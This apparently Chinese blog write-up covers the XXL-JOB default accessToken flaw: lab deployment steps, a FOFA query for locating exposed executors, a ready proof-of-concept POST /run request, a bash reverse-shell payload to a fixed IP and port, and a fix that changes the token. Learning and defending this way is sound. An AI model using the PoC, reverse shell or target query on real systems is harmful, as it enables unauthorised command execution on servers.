赞
踩
原理
危害
攻击
部署服务
安装Java
安装Maven
安装XXL-JOB
利用漏洞
防御
XXL-JOB[1]是一个分布式任务调度平台,分为调度中心和执行器两部分。
在最新的两个版本中(2022年5月21日发布的2.3.1
版本、2023年5月23日发布的2.4.0
版本),XXL-JOB默认启用accessToken
,在调度中心与执行器之间进行调度通讯时,用于证明自己的身份。
accessToken的默认值是default_token
,在调度中心的配置文件是xxl-job-admin/src/main/resources/application.properties
,配置项是xxl.job.accessToken=default_token
。
在执行器的配置文件是xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties
,配置项是xxl.job.accessToken=default_token
。
如果没有修改accessToken的默认值,攻击者就可以使用默认的accessToken,伪装成调度中心,与执行器进行调度通信。
通过“任务触发”的RESTful API,攻击者可以对执行器所在的服务器进行任意命令执行,从而获得执行器所在服务器的权限。
攻击者可以对执行器所在的服务器进行任意命令执行,从而获得执行器所在服务器的权限。
FOFA[2]:body="{"code":500,"msg":"invalid request, HttpMethod not support."}" && port="9999"
- ### 下载:https://www.oracle.com/java/technologies/downloads/
- wget https://download.oracle.com/java/21/latest/jdk-21_linux-x64_bin.tar.gz
-
- ### 解压
- tar -zxvf jdk-21_linux-x64_bin.tar.gz -C /usr/local/
-
- ### 配置环境变量
- vim /etc/profile
- export JAVA_HOME=/usr/local/jdk-21.0.2
- export JRE_HOME=${JAVA_HOME}/jre
- export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
- export PATH=${JAVA_HOME}/bin:$PATH
- source /etc/profile # 生效
- ln -s /usr/local/jdk-21.0.2/bin/java /usr/bin/java # 软链接
-
- ### 检查
- java -version
- ### 下载:https://maven.apache.org/download.cgi
- wget https://dlcdn.apache.org/maven/maven-3/3.9.6/binaries/apache-maven-3.9.6-bin.tar.gz
-
-
- ### 解压
- tar -zxvf apache-maven-3.8.1-bin.tar.gz -C /usr/local/
-
- ### 配置环境变量
- vim /etc/profile
- export MAVEN_HOME=/usr/local/apache-maven-3.8.1
- export PATH=${MAVEN_HOME}/bin:${PATH}
- source /etc/profile # 生效
-
- ### 检查
- mvn -v
- ### 下载:https://github.com/xuxueli/xxl-job
- wget https://github.com/xuxueli/xxl-job/archive/refs/tags/2.4.0.tar.gz
-
- ### 解压
- tar -zxvf xxl-job-2.4.0.tar.gz -C /usr/local/
-
- ### 初始化数据库
- mysql -u root -p
- source /usr/local/xxl-job-2.4.0/doc/db/tables_xxl_job.sql
- exit
-
- ### 连接数据库的配置
- vim /usr/local/xxl-job-2.4.0/xxl-job-admin/src/main/resources/application.properties
- spring.datasource.url=jdbc:mysql://127.0.0.1:3306/xxl_job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai
- spring.datasource.username=root # 你的数据库帐号
- spring.datasource.password=root_pwd # 你的数据库密码
- :wq
-
- ### 打包
- cd /usr/local/xxl-job-2.4.0
- mvn clean package
-
- ### 部署调度中心和执行器
- cd /usr/local/xxl-job-2.4.0
- java -jar xxl-job-admin/target/xxl-job-admin-2.4.0.jar
- java -jar xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.4.0.jar
-
- ### 开通调度中心和执行器的防火墙策略
- firewall-cmd --add-port=8080/tcp --permanent
- firewall-cmd --add-port=9999/tcp --permanent
- firewall-cmd --reload
参考官方的“任务触发”的RESTful API:
第15行,executorBlockStrategy,任务阻塞策略,可选值参考ExecutorBlockStrategyEnum[3]:COVER_EARLY、DISCARD_LATER 、SERIAL_EXECUTION。
第19行,glueType,任务模式,可选值参考GlueTypeEnum[4]:BEAN、GLUE_GROOVY、GLUE_NODEJS、GLUE_PHP、GLUE_POWERSHELL、GLUE_PYTHON、GLUE_SHELL。
第18行、第21行,logDateTime、glueUpdatetime,本次调度日志时间、GLUE脚本更新时间,可在Linux中使用命令date +%s
生成。
最终构造漏洞探测POC:
- POST /run HTTP/1.1
- Host: 10.58.81.34:9999
- XXL-JOB-ACCESS-TOKEN: default_token
- Content-Length: 326
-
- {
- "jobId":1,
- "executorHandler":"demoJobHandler",
- "executorParams":"demoJobHandler",
- "executorBlockStrategy":"COVER_EARLY",
- "executorTimeout":0,
- "logId":1,
- "logDateTime":1710864010,
- "glueType":"GLUE_SHELL",
- "glueSource":"ping infpna.dnslog.cn",
- "glueUpdatetime":1710864010,
- "broadcastIndex":0,
- "broadcastTotal":0
- }
构造漏洞利用EXP:
"glueSource":"bash -i >& /dev/tcp/10.58.81.108/4444 0>&1",
修改accessToken的默认值,调度中心和执行器的值需保持一致,例如将accessToken修改为cGqJjTqH2VMB2R1:
- sed -i 's/default_token/cGqJjTqH2VMB2R1/g' /usr/local/xxl-job-2.4.0/xxl-job-admin/src/main/resources/application.properties
-
- sed -i 's/default_token/cGqJjTqH2VMB2R1/g' /usr/local/xxl-job-2.4.0/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties
然后重新打包与部署:
- ### 打包
- cd /usr/local/xxl-job-2.4.0
- mvn clean package
-
- ### 部署调度中心和执行器
- cd /usr/local/xxl-job-2.4.0
- java -jar xxl-job-admin/target/xxl-job-admin-2.4.0.jar
- java -jar xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.4.0.jar
最后再次使用默认密钥进行任意代码执行,发现报错The access token is wrong.
,成功修复漏洞。
参考资料
[1]
XXL-JOB: https://www.xuxueli.com/xxl-job/
[2]FOFA: https://fofa.info
[3]ExecutorBlockStrategyEnum: https://apidoc.gitee.com/xuxueli0323/xxl-job/com/xxl/job/core/enums/ExecutorBlockStrategyEnum.html
[4]GlueTypeEnum: https://apidoc.gitee.com/xuxueli0323/xxl-job/com/xxl/job/core/glue/GlueTypeEnum.html
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。